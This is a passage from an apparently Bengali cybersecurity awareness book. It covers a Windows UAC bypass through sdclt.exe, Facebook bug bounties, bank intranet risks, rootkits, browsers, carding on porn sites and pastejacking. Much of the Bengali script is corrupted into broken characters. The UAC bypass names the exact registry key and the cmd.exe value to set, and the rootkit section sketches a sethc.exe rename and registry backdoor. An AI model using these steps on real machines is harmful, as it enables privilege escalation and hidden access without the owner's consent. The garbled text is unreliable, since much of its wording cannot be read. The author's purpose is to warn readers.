�লেভেলর কাজ কিরেয় িনেত পাের, তাহেল আপনার কােছ �কান অনুমিত 
চাইেত হেব না।
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িক�, ম�ালওয়�ার িকভােব sdclt.exe -�ক িদেয় কাজ করােব?

কি�উটাের  যখন  sdclt.exe ��া�ামিট  কাজ  করা  start কের,  তখন 
�কান িবেশষ কারেণ িনেচ উি�িখত registry �লােকশন check কের-

HKCU\Software\Microsoft\Windows\CurrentVersion
\App Paths\control.exe

িক�, Windows কি�উটােরর �সই �লােকশেন বা�েব �কানিকছু �নই। 
তাই, �সই �লােকশেন যিদ value িহেসেব **cmd.exe** এর path 
িলেখ �দওয়া হয়, তাহেলই sdclt.exe যখন কাজ করা �� করেব, তখন 
Administrative  �লেভেল  একিট  command  prompt  চালু 
করেব।  িক�,  কি�উটার  িক�  এটােক  ম�ালওয়�ার  িহেসেব  শনা�  করেব 
না;  কারণ,  এটা  �তা  Windows এর  িনেজরই  একিট  িব��  ��া�াম 
(sdclt.exe)  open কেরেছ।  ফেল,  এই  প�িতেত  UAC bypass 
কের একজন attacker �যেকান command -ই run করেত পারেব!

তাই, সতক� থাকুন!

────────────



───সাইবার জগেতর ওিপঠ by সাইফ 

102

�ফস�েকর �ব�লতা

আজেক আমরা �ফসবুেকর সা�িতক িকছু vulnerability বা, �ব�লতা 
িনেয় আেলাচনা করেবা। যারা এসব �ব�লতা ধিরেয় �দন, তােদরেক �ফসবুক 
পুর�ার �দান কের থােক।

# পুর�ার ১১,০০,০০০ টাকা

�ফসবুেক live িভিডও করেল, �সই িভিডওর িকছু অংশ remove করা 
যায়। যিদও এটা �ধুমা� �সই live িভিডও িযিন কেরেছন, িতিনই করেত 
পােরন;  তেব,  **Ahmad**  নামক  একজন  হ�াকার  �ফসবুকেক 
�দিখেয়েছন-  িকভােব  একজন  ব�ি�  অেন�র  live  িভিডওর  িকছু  অংশ 
remove করেত পারেব। 

**প�িত  হে�-**  live  িভিডওর  িকছু  অংশ  remove  করার  সময় 
**/api/graphql/**  -এ  একিট  request  পাঠােনা  হয়।  �সখােন 
live  িভিডওর  id  এবং  িনেজর  �ফসবুক  একাউে�র  id  ব�াবহার  কের 
�যেকউ live িভিডওর িকছু অংশ remove করেত পারেতা। িবষয়িট যখন 
িতিন �ফসবুকেক জানান, তখন �ফসবুক তােক ১১,০০,০০০ টাকা পুর�ার 
�দান কের এবং �েয়াজনীয় পদে�প �হণ কের।
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# পুর�ার ৪০,০০০ টাকা

Messenger স�ে�  আমরা  সবাই  জানেলও,  Messenger Kids 
স�ে�  হয়েতা  অেনেকই  জািন  না।  এই  app  ব�াবহার  কের  আপনার 
স�ােনর জন� একিট account �তির করেত পারেবন এবং একিট �ফসবুক 
একাউ�েক আপনার স�ােনর অিভভাবক িহেসেব select করেত পারেবন। 

িক�, Messenger Kids একাউ� �তির করার পর কাউেক অিভভাবক 
িহেসেব select করেল, যােক অিভভাবক িহেসেব select করা হেয়েছ, 
িতিন চাইেলও িনেজেক অিভভাবক �থেক remove করেত পারেতন না। 
কারন,  �ফসবুেক  এরকম  �কান  option  িছেলাই  না।  ফেল,  একজন 
অপরাধী  যিদ  অন�  কাউেক  উত��  করার  জন�  Messenger Kids 
একাউ�  �তির  কের  এবং  যােক  উত��  করেত  চায়-  তােক  অিভভাবক 
িহেসেব  select  কের  �দয়,  তখন  �সই  ব�ি�  (অিভভাবক)  িনেজেক 
অিভভাবক  �থেক  remove  করেত  পারেতা  না।  ফেল,  িতিন  যিদ 
অপরাধীেক  �ফসবুক  �থেক  block কেরও  �দন,  তবুও  Messenger 
Kids একাউ�  �থেক  তােক  উত��  করা  যােব।  **Samip**  নামক 
একজন  হ�াকার  যখন  িবষয়িট  বুঝেত  পারেলন,  তখন  িতিন  �ফসবুকেক 
জানােলন। ফেল, �ফসবুক তােক ৪০,০০০ টাকা পুর�ার �দান কের এবং 
কাউেক  অিভভাবক  িহেসেব  select  করা  হেলও  িতিন  �যেনা  িনেজেক 
remove করেত পােরন, �সই option যু� কের �দয়।

# পুর�ার ৮০,০০০ টাকা
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আপিন িন�য়ই জােনন- �ফসবুেক িবিভ� event এর আেয়াজন করা যায় 
�যমন- ি� �কাস�, live �সিমনার ইত�ািদর জন� িনিদ�� তািরেখর event 
�তির  করা  হয়।  এসব  event  এর  িনেচ  interested নােমর  একিট 
অপশন �লখা থােক। আপিন চাইেলই �সখােন ি�ক কের যু� হেত পােরন। 
তখন  অন�রাও  �দখেত  পারেব  �য,  আপিন  interested।  িক�,  আপিন 
হয়েতা  চাে�ন  �য,  এই  event  এ  আপিন  �য  interested,  �সটা 
অন�েকউ না �দখুক। �সে�ে� আপনােক hide কের রাখার একিট অপশন 
আেছ। িক�, **Vivek** নামক একজন হ�াকার �ফসবুকেক �দিখেয়েছন- 
িকভােব এসব hidden �ম�ারেক �দখা স�ব। 

প�িত হে�- আপনােক যিদ এমন �কান �ফসবুক �েপ mention করা 
হয়, �যই �েপ আপিন member না; তাহেল আপনােক mention করা 
হেলও  আপনার  নাম  িকছুটা  ছাই  রেঙর  হেয়  থাকেব।  িঠক  একই  লিজক 
অনুযায়ী  আপনােক  যিদ  এমন  �কান  event  এ  mention করা  হয়- 
�যখােন আপিন member না, তাহেল আপনার নাম হালকা রেঙর হেয় 
যােব।  িক�,  আপিন  �সখােনর  member  হেয়  থাকেল  আপনােক  যিদ 
hide করাও হেয় থােক, তবুও আপনােক mention করেল আপনার নাম 
ভােলাভােবই �দখা যােব। ফেল, privacy িবষয়িট আর থাকেছ না। 

এই িবষয়িট যখন Vivek নামক একজন হ�াকার �ফসবুকেক জানান, তখন 
�ফসবুক তােক ৮০,০০০ টাকা পুর�ার �দান কের এবং privacy র�ােথ� 
�েয়াজনীয় পদে�প �হণ কের।
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তাই,  যারা  আপনােক  �ফসবুক  একাউ�  হ�াক  কের  �দওয়ার  কথা  বলেব, 
তােদরেক  বেল  িদেবন-  "তুিম  �ফসবুক  হ�াক  করেত  পারেল  িবষয়িট 
�ফসবুকেকই জানাও; তারাই �তামােক �কািট �কািট টাকা পুর�ার িদেব।"

সালিট ২০২১ িছল

────────────
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অে�র �নটওয়াক� হ�াক

আমরা  ১িট  ��ােটর  ি�তীয়  তলায়  থািক।  �সই  ি�তীয়  তলায়  আমােদর 
পাশাপািশ  ২িট  ব�াংেকর  অিফস  রেয়েছ।  িব��ৎ  চেল  �গেল  আমােদর 
ওয়াই-ফাই চেল �গেলও ব�াংেকর ওয়াই-ফাই িঠকই থােক। তােদর আলাদা 
�নটওয়ােক�র  টাওয়ার  রেয়েছ;  �যটা  আমােদর  সাধারণ  ই�ারেনট  �থেক 
আলাদা। তােদর �নটওয়াক� িনেয় িকছুটা �কৗতূহলী িছলাম। এরপর একিদন 
আ�ুর  সােথ  কি�উটােরর  UPS  িকনেত  �গলাম।  �শা-�েম  �দখলাম 
িনজ�/আলাদা �নটওয়াক�। ফেল, এই িবষেয় �কৗতূহল আরও �বেড় �গেলা। 
এ�েলা হয়েতা **intranet **এর বা�ব উদাহরণ।

**িক�, এই �নটওয়াক� কেতাখািন িনরাপদ?**

�থমেতা, এই �নটওয়ােক�র মাধ�েম যারা অিফিসয়াল কাজ কেরন- �সসকল 
কম�কত�া  এবং  কম�চারীেদর  �নটওয়াক�  স�ে�  কেতাটুকু  �ান  আেছ,  এটাই 
��।  এসকল  �নটওয়াক�  তােদর  সােথ  connected  �নটওয়াক�  হ�াক 
হওয়ার  মাধ�েমই  হ�াক  হেয়  �যেত  পাের।  আজেক  এই  িবষেয়ই  সংি�� 
আেলাচনা করেবা।

মূলত, সারা �দেশ এই ধরেনর �নটওয়ােক�র সােথ সংযু� যেতা�েলা অিফস 
রেয়েছ,  �সই  সব�েলা  অিফসই  একিট  আেরকিটর  সােথ  connected 
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রেয়েছ।  অেনকটা  ��া�ািমং  এর  **rpc call**  এর  মেতা  কাজ  হয়। 
আপিন ব�াংেকর এক শাখায় টাকা পাঠােলন, অন�ান� শাখায় �সই িবষয়ক 
data  চেল  যাে�।  িক�,  সমস�া  হে�-  একিট  অিফস  �থেক  অন�ান� 
অিফেসর data পিরবত�ন করার সুেযাগ থাকেল একিট অিফস হ�াক হেয় 
�গেলই,  �সই  অিফেসর  �ধান  কম�কত�ার  account ব�াবহার  কের  সারা 
�দেশর  অন�ান�  অিফেসর  data হ�াক  করা  স�ব।  এমনিক  �সই  data 
�েলা encrypt কের ransomware আ�মণ িহেসেব িবশাল অংেকর 
টাকা দাবী করাও স�ব।

আবার, �শা-�েম �কানিকছু িকনেল, �সই তথ� তারা তােদর �নটওয়ােক�র 
ওেয়ব-সাভ�াের  পািঠেয়  �দয়।  এছাড়াও,  অেনক  সময়  অিফিসয়াল  কােজর 
�ােথ� অিফেসর কি�উটােরর সােথ console িডভাইসেক যু� করা হেত 
পাের।  অথ�াৎ,  িনেজেদর  অিফিসয়াল  �নটওয়ােক�র  িডভাইসেক  আেরক 
�নটওয়ােক�র  িডভাইেসর  সােথ  সরাসির  connect  করা  হে�।  এটােক 
**Dual-Homed-Hosts**  িসে�ম  বেল।  �সে�ে�ও  অিফিসয়াল 
�নটওয়ােক�র িডভাইস হ�াক হেল অন� (remote) �নটওয়ােক�র িডভাইস 
হ�াক করা খুবই সহজ হেব। এমনিক একজন হ�াকার যিদ অিফেসর �সই 
remote �নটওয়ােক�র আইিপ এে�স না-ও জােন, তারপরও অিফেস যিদ 
**NetBIOS** enable থােক তাহেলই, িনেচর command িদেয় 
আইিপ এে�স �বর করা স�ব-

> **nextnet <office's local IP>**

এছাড়াও  ব�াংেকর  জন�  আ�জ�ািতকভােব  **SWIFT**  �নটওয়াক� 
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রেয়েছ। এই �নটওয়াক� ব�াবহার কেরই বাংলােদশ ব�াংক �থেক ২০১৬ সােল 
১ িবিলয়ন ডলার হ�াক হেয়িছেলা। তাই, এসব �নটওয়াক� িনরাপদ রাখেত 
হেল সাইবার িসিকউিরিট ��শািল�েদরেক িনেয়াগ �দওয়া অপিরহায�।

────────────
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আিম ই�ারেনট �বিশ চালাই না

অিধকাংশ  মানুেষর  মেধ�ই  ই�ারেনট  স�েক�  একিট  ভুল  ধারনা  রেয়েছ। 
�সিট হেলা- "আিম ই�ারেনট �বিশ চালাই না। তাই আমার হ�াক হওয়ার ভয় 
�নই"।  আিম  বলেবা,  আপিন  ই�ারেনট  কম  ব�াবহার  করার  কারেন 
অেনকে�ে� আপনার হ�াক হওয়ার ঝুঁিকই �বিশ।

একিট উদাহরণ �দওয়া যাক-

মেন ক�ন আপনার �ফসবুক একাউ� হ�াক হেয় িগেয়েছ। হ�াক করার পর 
হ�াকার আপনার Gmail একাউ� পিরবত�ন কের িদেলা। এখন আপনার 
Gmail একাউে� একিট �মইল আসেব। আপিন চাইেল ৪৮ ঘ�ার মেধ� 
আেগর Gmail একাউ� িদেয় login কের হ�াকােরর Gmail একাউ� 
সিরেয় �ফলেত পারেবন। িক�, আপিন যিদ ৪/ ৫ িদন পরপর ই�ারেনেট 
আেসন তাহেল তার আেগই হ�াকার আপনার একাউ� িনেয় চেল যােব।

───────────────
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জানা-অজানা িক� ওেয়ব �াউজার

আমরা  ই�ারেনট  ব�াবহার  করার  জন�  �থেমই  একিট  ওেয়ব  �াউজার 
open কির। ওেয়ব �াউজার বলেত অেনেকই �ধু Google, Firefox 
ইত�ািদেক বুেঝ থােকন। িক�, আরও জানা-অজানা অসংখ� ওেয়ব �াউজার 
রেয়েছ।  �স�েলার  মেধ�  �থেক  আজেক  অ�  কেয়কিট  ���পূণ�  ওেয়ব 
�াউজার িনেয় আেলাচনা করেবা।

Google 

Google এর কথা �তা আমরা সবাই জািন। �িতিদন মানুষ �ায় কেয়ক 
িবিলয়ন সাচ� কের Google �াউজার িদেয়। আর, Google একিট ি� 
ইেমইল �সবাও িদেয় থােক, যােক আমরা িজেমইল িহেসেব জািন।

DuckDuckGo

যারা  ই�ারেনেট  িনেজর  ব�ি�গত  তথ�  সুরি�ত  রাখেত  চান,  �বিশরভাগ 
��ে� তারাই DuckDuckGo ব�াবহার কের থােকন। কারণ, এটা িদেয় 
আপিন যা িকছুই সাচ� ক�ন না �কেনা- �স�েলা track করেব না।
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TOR

আপিন িডপ ওেয়ব এর কথা �েনেছন িন�য়ই? �সই িডপ ওেয়েবর �যসকল 
ওেয়বসাইেটর  িলংেকর  �শেষ  **.onion**  �লখা  থােক,  �সসব 
ওেয়বসাইেট �কবলমা� এই TOR �াউজার িদেয়ই �েবশ করা যায়। �সই 
সােথ, সাধারন ই�ারেনট ব�াবহােরর জেন�ও এই ওেয়ব �াউজার ব�াবহার 
করা যায়। পৃিথবীর িবিভ� ��ণী-�পশার মানুষ এই ওেয়ব �াউজার ব�াবহার 
কের  থােকন।  এই  ওেয়ব  �াউজার  িদেয়  ই�ারেনট  ব�াবহার  করেল 
ই�ারেনেট একজন ব�ি� িক করেছন তা জানা একদমই অস�ব।

Ecosia

Ecosia  ওেয়ব  �াউজারিট  আসেলই  অন�রকম।  এই  ওেয়ব  �াউজাের 
িব�াপন �দিখেয় �যই পিরমাণ অথ� উপািজ�ত হয়, তার ৮০ শতাংসই গাছ 
লাগােনার জন� অনুদান িহেসেব �দওয়া হয়।

এছাড়াও আরও অসংখ� ওেয়ব �াউজার রেয়েছ। িকছু িকছু ওেয়ব �াউজার 
ব�াবহার  করেল  �কান  ধরেনর  িব�াপন  �দখেত  হয়  না  িক�,  �স�েলা 
ব�াবহার করেত টাকা িদেয় subscribe করেত হয়। তেব, যেতা ওেয়ব 
�াউজারই থাকুক না �কেনা- আপিন �সটাই ব�াবহার ক�ন, �যটা ব�াবহার 
করেল আপনার ব�ি�গত তথ� অিধক সুরি�ত থাকেব।
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Rootkit 

�পার �ালওয়�ার

কি�উটাের  rootkit  নােম  এক  ধরেণর  malware  থাকেত  পাের- 
�যটার  উপি�িত  স�ে�  আপনার  কি�উটার  িনেজই  জানেব  না।  আর, 
কি�উটাের যিদ একবার rootkit �েবশ কের, তাহেল �সই কি�উটার 
�থেক rootkit সরােনার গ�ারাি� �দওয়া �ায় অস�ব।

Rootkit এর সং�া

�থেমই  ১  িট  ��  কির-  আপিন  িক  আপনার  কি�উটাের  থাকা  অিডও, 
িভিডওেক িনরাপদ মেন কেরন? আিম শতভাগ িনরাপদ মেন কির না; সেব�া� 
৯৯% িনরাপদ মেন কির। এর যেথ� কারণ আেছ। �যমন ধ�ন- একিট file 
এর ��েত header নামক একিট অংশ থােক। �সখােন file এর পিরচয় 
থােক। তাই, আিম একিট ওেয়বসাইেট এমন file আপেলাড করলাম- যার 
header এ রেয়েছ PDF এর header িক�, file এর data িহেসেব 
অন� �িতকর code িলেখ িদলাম। তাহেল, িবেশষ িকছু শত� পূরণ হেল 
এই PDF হেয় যােব একিট ম�ালওয়�ার।

এখন  মূল  আেলাচনায়  আসা  যাক-  rootkit  এর  সং�া  িক?  �দখুন- 
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কি�উটােরর সকল কাজ করা হয় অপােরিটং িসে�েমর মাধ�েম। আর, এই 
অপােরিটং  িসে�ম  �িতিনয়ত  �যসব  হাড�ওয়�ার  ব�াবহার  কের,  �স�েলা 
ব�াবহার  করার  আেগ  check  করা  হয়-  কি�উটারিট  িযিন  (user) 
ব�াবহার  করেছন,  হাড�ওয়�ারিট  ব�াবহার  করার  মেতা  privilege  বা, 
�মতা তার আেছ িকনা। Windows কি�উটার িদেয় উদাহরণ �দওয়া 
যাক।  আপিন  যখন  কি�উটাের  �কানিকছু  install  করেত  চান,  তখন 
**run  as  administrator**  করেত  হয়।  কারন,  সাধারণ  বা, 
normal  user  িহেসেব  আপিন  এটা  করেত  পারেবন  না।  �তা,  এসব 
IOPL  এর  মেতা   sensitive  িবষয়  check  করার  কাজ  কের- 
কি�উটােরর  kernel।  িক�,  এই  kernel  হে�  একিট  ��া�াম-  যার 
অেনক  component  বা,  অংশ  আেছ।  তাই,  �কউ  যিদ  আপনার 
কি�উটােরর  kernel �লেভেলর  privilege �পেয়  যায়  এবং  �সখােন 
(ring  0)  কােন�ল  driver  িহেসেব  �িতকর  ��া�াম  যু�  কের  �দয়, 
তাহেল অেনক এি� ভাইরাসও �সটােক শনা� করেত পারেব না। কারন, 
কােন�ল  driver  �ক  অেনক  এি�  ভাইরাস  scan  কের  না।  এছাড়া, 
driver এর জন� অেন�র সািট�িফেকটও ব�াবহার করা যায়; িবেশষ কের, 
Windows যখন যাচাই কের �য, কি�উটাের একিট driver ব�াবহার 
করা যােব িকনা- তখন �সই driver এর সািট�িফেকেটর িদেক ��� �দয় 
না।

তাই, উপেরর আেলাচনায় rootkit হে� এমন এক ম�ালওয়�ার-

* �যিট kernel �লেভেলর privilege িনেয় কাজ কের। যিদও, িবেশষ 
অপােরিটং িসে�েম software �লেভেলরও হেত পাের।

* কি�উটার restart করেলও rootkit কাজ কের।
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এখন  অেনেক  ��  করেবন-  'একজন  ব�ি�  িকভােব  আমার  কি�উটাের 
rootkit  �েবশ  করােব'?  �দখুন-  Linux  কি�উটাের 
**/etc/sudoers**  নামক  file  �ক  edit  কের  privilege  বা, 
�মতা  িনেত  হেব;  যার  জন�  password  জনেত  হেব।  িক�, 
Windows কি�উটাের  **.bat**  বা,  **.exe**  file �ক  run 
as  administrator  করেল  সহেজই  system  file  এর 
permission পাওয়া  যায়।  ফেল,  খুব  অ�  সমেয়র  মেধ�ই  একজন 
ব�ি�  আপনার  কি�উটাের  এটা  করেত  পারেব।  আবার,  আপনার 
কি�উটােরর  সরাসির  access  �পেল  Windows  কি�উটােরর 
**sethc.exe** �ক rename কের user password পিরবত�ন 
কের  login  করা  স�ব।  আর,  তারপর  regedit  এর  মাধ�েম 
**HKEY_LOCAL_MACHINE**  �থেক 
CurrentControlSet এর অ�ভূ�� key এর value পিরবত�ন কের 
rootkit িহেসেব  backdoor �তরী  কের  �দওয়া  স�ব।  তেব,  স�ুন� 
প�িত বলেবা না �যেহতু, �সটা �ফসবুক policy -র িব�ে� যােব।

যাই  �হাক,  কি�উটাের  rootkit  �েবশ  করার  পর  ই�ারেনট  ব�াবহার 
কেরই  আপনার  কি�উটার  �সই  ব�ি�র  কি�উটােরর  সােথ  connect 
হেয়, তার command অনুযায়ী কাজ করেত স�ম হেব। িক�, আপনার 
কি�উটার  বুঝেতই  পারেব  না  �য,  এিট  একিট  ম�ালওয়�ার।  কারণ,  এই 
rootkit �তা এখন অপােরিটং িসে�েমরই অংশ হেয় িগেয়েছ।

# িকভােব শনা� করেবা?
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��েতই বেলিছ- কি�উটাের যিদ একবার rootkit �েবশ কের, তাহেল 
�সই কি�উটার �থেক rootkit সরােনার গ�ারাি� �দওয়া �ায় অস�ব। 
অথ�াৎ, শত �চ�া করার পেরও, rootkit এখনও আেছ িকনা- �সই সে�হ 
�থেকই যােব। কারন, হেত পাের rootkit আপনার কি�উটােরর হাড�িড� 
এর firmware এর মেধ� রেয়েছ িকংবা, BIOS এর মেধ�! তারপেরও, 
USB  �পন�াইভ  �থেক  live  boot  কের,  �সই  ম�ালওয়�ার  মু� 
অপােরিটং িসে�েমর সােথ rootkit আ�া� অপােরিটং িসে�েমর তুলনা 
কের �দখা �যেত পাের- �কান পাথ�ক� আেছ িকনা। এছাড়া, কি�উটার �থেক 
ই�ারেনেট  �যসব  traffic  যাওয়া-আসা  করেব,  �স�েলা  analysis 
করার মাধ�েমও অেনক িকছু আ�াজ করা স�ব। যিদও, অেনেকই পরামশ� 
িদেব- rootkit আ�া� কি�উটার �থেক ই�ারেনট সংেযাগ িবি�� কের 
িদেত।  তেব,  ই�ারেনট  �ািফক  analysis  করার  মাধ�েম  অপরাধীেক 
শনা�  করার  একিট  স�াবনা  থােক।  িক�,  খুব  �ানী  হ�াকােরর  িবষয় 
আলাদা।  বা�েব  এমন  অেনক  হ�াকার  আেছ,  যােদরেক  িবিলয়ন  ডলার 
বােজেটর  �গােয়�া  সং�াও  খুঁেজ  �বর  করেত  পাের  িন।  আর,  বড়  বড় 
হ�াকাররা  rootkit িদেয়ই  আ�মণ  করার  �চ�া  করেব।  তাই,  rootkit 
�থেক সাবধান!

────────────
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পন� ইনেভি�েগশন

��িডট কাড� হ�ািকং করেত নািক porn ওেয়বসাইেটর দরকার হয়। িক�, 
�কেনা? আমার এই �লখািট পড়েত থাকুন, �জেন যােবন। মূলত, ১০ বছর 
আেগও  আমােদর  �দেশ  চিট  গ�  পড়ার  মাধ�েমই  অেনক  িকেশার  ও 
যুবকগণ  এক  �কার  পাশিবক  চািহদা  পূরণ  করেতা।  অেনেক  আবার 
কি�উটার  ক�ােফ-�ত  িগেয়  পন�  িভিডও  �দখার  �চ�া  করেতা।  িক�, 
ই�ারেনট  ব�াবহার  করেত  না  জানায়  �সসব  িভিডও  খুঁেজই  �পেতা  না 
অেনেক। যিদও, তখন Google এর সািভ�সও এেতাটা উ�ত িছেলা না। 
অেনেক আবার গান আপেলাড �দওয়ার �দাকােন িগেয় ইংেরিজ Y অ�েরর 
আেগর অ�র বেল িকছু একটা �মেমািরেত িনেয় আসেতা। আবার, অেনক 
সময় যুবক �ছেল �দখেল �দাকানদার িনেজ �থেকই এসব আপেলাড কের 
িদেতা। আমার এখনও মেন আেছ- একবার ঈেদর আেগরিদন আমার এক 
ব�ু একজন �দাকানদারেক �পন�াইভ িদেয়িছেলা িকছু অিডও �নওয়ার জন�; 
আর,  �সই  �দাকানদার  িনেজ  �থেকই  **ইেয়র**  িভিডও  সহ  িদেয় 
িদেয়িছেলা। এরপর আমার ব�ু �পন�াইভিট বাসায় িনেয় িগেয় তার বাবােক 
�দয়-  অিফেসর  কি�উটার  �থেক  scan  কিরেয়  আনার  জন�।  বাকীটা 
ইিতহাস!

যাই �হাক, ১০ বছর আেগর তুলনায় এখনকার �যুি� অেনক উ�ত। িকছু 
�দেশর আইিন অনুকূলতায় পন� সাইেটর ব�বসা এখন রমরমা। যিদও, ২০১৯ 
সােলর  িদেক  anti-pornography war নামক  কায��েমর  মাধ�েম 
�সই সময়কার �ায় সকল পন� ওেয়বসাইট বাংলােদশ �থেক block কের 
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�দওয়া হয়। সরকার পদে�প িনেয়েছ, িঠক। িক�, এেত কের পন� �দখা ব� 
হয় িন; উে�া বরং VPN এর ব�বসায় সবুজ বািত �েলেছ।

যাই �হাক, অেনক �দেশ 'পন� �দখা' হে�- ব�ি� �াধীনতার অ�ভূ��। ফেল, 
গেড়  উেঠেছ  পন�  �সিলি�িট।  এেতািকছুর  মেধ�ও  Youtube এর  মেতা 
�াটফরেম  পন�  িভিডও  িনিষ�।  যিদও,  অেনক  বড়েলাক  িপতার  স�ােনরা 
দািম �হােটেল িগেয় নারীেদর সােথ িভিডও কের Youtube -এ �দয় এবং 
িনিদ��  পিরমাণ  like  হেল  �সই  িভিডওর  বাকী  অংশ  (পন�  িভিডও)  পন� 
ওেয়বসাইেট আপেলাড করার অ�ীকারও কের থােক। এছাড়া, Youtube 
-এ  �মিডেকল,  িশ�,  িশ�ামূলক  ইত�ািদ  িবষয়ক  িভিডওেত  উল�  দৃশ� 
থাকেলও  �সটায়  Youtube  �থেক  �কান  সমস�া  না  হওয়ায়  অেনেকই 
এরকম িভিডও আপেলাড কের থােক। আবার, এমন অেনেকই আেছ, যারা 
তােদর  Youtube িভিডওর  title -এ  pron শ�িট  িলেখ  �দয়,  যােত 
কের search িদেয় সহেজ খুঁেজ পাওয়া যায়।

তেব, ধীের ধীের জঘন� িকছু িবষয় পন� জগেত �েবশ কেরেছ। �যমন-

* িকছু িকছু ওেয়বসাইেট (িবেশষ কের ডাক� ওেয়েব) মানুেষর �যৗন অে� 
ধারােলা অ� িদেয় িনয�াতন করার িভিডও আপেলাড করা হয়।

*  অেনক  ওেয়বসাইেট  �ধুমা�  প�র  সােথ  মানুেষর  �যৗনাচােরর  িভিডও 
�দখােনা হয়।

*  আবার,  অেনক  জঘন�  ওেয়বসাইেট  মানুেষর  pee,  enema fluid 
পান করা িকংবা, fart করার িভিডও �দখােনা হয়। এসব িবষেয় আর �বিশ 
িকছু বলার �িচ আমার �নই।
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পন�  জগেতর  িব�ৃিত  �মাগত  �বেড়ই  চেলেছ।  ��িডট  কাড�  হ�ািকং  বা, 
carding করার  ��ে�ও  এসব  পন�  website ব�াবহার  করেত  �দখা 
যায়। কারন, একিট কাড� বত�মােন সচল আেছ িকনা- �সটা যাচাই করেত 
�গেল  সাধারণ  ওেয়বসাইেট  �সই  কাড�  block হওয়ার  স�াবনা  থােক। 
িক�, পন� সাইেট সাধারণত এরকম সমস�া �নই। তেব, পন� ওেয়বসাইেট 
হ�ািকং এর �ীকার হওয়াও িক� নতুন িকছু না।

বাংলােদেশ পন� ওেয়বসাইট�েলা block করা থাকেলও অেনক সময় নতুন 
িকংবা, অ�িস� ওেয়বসাইেট VPN ছাড়াই �েবশ করা যায়। তাছাড়া, এখন 
�তা কেরানা মহামারীেত লকডাউেন স�ােনরা ঘের বেস আেছ আর, হােত 
রেয়েছ �মাবাইল। তাই, আপনার স�ানেক তার অিধকার �দওয়ার পাশাপািশ 
নজের রাখুন।

────────────
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HTML িদেয় NASA হ�াক?

কেয়কিদন  আেগ  PHP  ল�া�ুেয়েজর  source  code  হ�াক  হেয় 
িগেয়িছেলা। বুঝেত পারেছন িবষয়িট? ই�ারেনেটর �ায় ৮০% ওেয়বসাইট 
�যই  ল�া�ুেয়জ  ব�াবহার  কের  �তির  হেয়েছ,  �সই  ল�া�ুেয়েজর  source 
code  -ই  হ�াক  কের  পিরবত�ন  করা  হেয়িছেলা!  তেব,  PHP  িক� 
ওেয়বসাইট গঠেনর মূল ল�া�ুেয়জ না। বরং, ওেয়বসাইেটর মূল ল�া�ুেয়জ 
হে�-  HTML।  তারপরও  অেনেকই  মজা  কের  বেল  থােক,  "HTML 
িদেয় NASA হ�াক করবা নািক?" অেনক সময় এ�পাট�রাও কথািট বেল 
থােকন; িক�, তােদর উে�শ� HTML �ক �ছাট করা না। এরপরও �কউ 
যিদ তােদর এই কথা �েন HTML �ক মূল�হীন মেন কের, �সটা মারা�ক 
ভুল।

�খয়াল কের �দখুন- ডাক� ওেয়ব (এবং সাধারণ ই�ারেনট) -এর অ�িকছু 
ওেয়বসাইট ব�াতীত �ায় সকল ওেয়বসাইট-ই �তির হেয়েছ HTML িদেয়। 
W3C এবং  WHATWG নামক  community �ারা  এই  ল�া�ুেয়জ 
maintain করা হেয় থােক। বত�মােন  িবিভ� ওেয়বসাইট (িবেশষ কের 
অনলাইন শিপং �াটফরম �েলা) REST API ব�াবহার কের থােক। যারা 
API স�ে� জােনন না, তােদরেক জািনেয় িদি�-

> API হেলা এমন একিট ��া�াম, �যিট এক ওেয়বসাইেটর data আেরক 
ওেয়বসাইেট ��রণ করেত ব�াবহার করা হয়।
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REST  API  এসব  তথ�  ��রেণর  ��ে�  JSON,  XML  িকংবা, 
HTML িহেসেব ��রণ কের থােক। তাই, বুঝেতই পারেছন- ওেয়বসাইট 
�তির করা �থেক �� কের ওেয়বসাইেটর তথ� ��রণ করা ইত�ািদ সকল 
��ে�ই HTML জিড়ত থাকেছই।

আবার,  আপিন  হয়েতা  ওয়াই-ফাই  ব�াবহার  কেরন।  ওয়াই-ফাই  রাউটাের 
switch  থাকেলও  wireless  প�িতেত  রাউটার  �থেক  যেতা  data 
আপনার িডভাইেস আসেছ, �স�েলা hub এর মেতা �ডকা� হয়; অথ�াৎ, 
আপনার জন� পাঠােনা data �সই রাউটােরর �রে�র মেধ� সবখােন �যেত 
থােক। অবেশেষ আপনার িডভাইেসর স�ান �পেল আপনার িডভাইেস �সই 
data পািঠেয় �দওয়া হয়। আর, এই data �েলা িক�  HTML এর 
মাধ�েমই  ওেয়বসাইট  �থেক  আসেব।  িক�,  রাউটার  যখন  এসব  data 
�ডকা� করেব, তখন খারাপ হ�াকার আপনার রাউটােরর এসব data -র 
copy িনেত পারেব। আর, �যেকানভােব encrypted html তথ��েলা 
decrypt করেত  পারেলই  আপনার  ব�ি�গত  সকল  তথ�  পির�ারভােব 
�দখা যােব। 

এছাড়া, হ�ািকং করার সময় ওেয়বসাইেটর source code �থেক �যসব 
Javascript ফাইল �বর করা হয়, �স�েলা �তা HTML এর মেধ�ই 
থােক! �সই সােথ, ওেয়বসাইেট �েবশ করেল ওেয়বসাইেটর সােথ আপনার 
ওেয়ব  �াউজার  �যই  TCP �েটাকেলর  মাধ�েম  connection  �তির 
কের, �সই TCP �েটাকল িক� HTML এর মাধ�েমই �িতি�ত থােক।
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আবার,  অেনক  ওেয়বসাইট  আপনার  ওেয়ব  �াউজােরর  মাধ�েম  পাঠােনা 
HTML code (key:value) িদেয়ই অেনক িকছু যাচাই করেত পাের। 
�সে�ে�, আপনার ওেয়ব �াউজােরর এসব code �তা আপনার িনয়�েণই 
থাকেব।  তাই,  আপিন  চাইেলই  এসব  পিরবত�ন  কের  িদেয়  অেনক 
sensitive তথ� �পেয় �যেত পােরন। িবেশষ কের, ওেয়ব সাভ�ার হ�ািকং 
এর পর HTML এর �েয়াজন হয়।

মূল কথা, ওেয়ব হ�ািকং এর �ায় সবিকছু HTML এর মাধ�েমই হে�। 
�সটা �হাক �ত�� িকংবা, পেরা�। HTML এর অেনক প�িতই পুরাতন। 
আর, এটাই সমস�া। কারন, পুরাতন প�িতই সাইবার অপরাধীরা নতুনভােব 
ব�াবহার কের।

────────────
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Copy-paste িদেয় হ�াক

PASTEJACKING

ওেয়বসাইট �থেক একিট �লখা copy করেলন, িক� paste করার সময় 
অন� �লখা paste হেল �কমন হেব? এমনটা বা�েব করা স�ব এবং এই 
প�িতেক  Pastejacking  বলা  হয়।  আজেক  এই  প�িতিট  িনেয় 
আেলাচনা করেবা, যােত কের আপনারা সাবধান থাকেত পােরন।

িনেচর ওেয়বসাইেট �গেল �দখেত পারেবন- একিট �লখা copy করেত বলা 
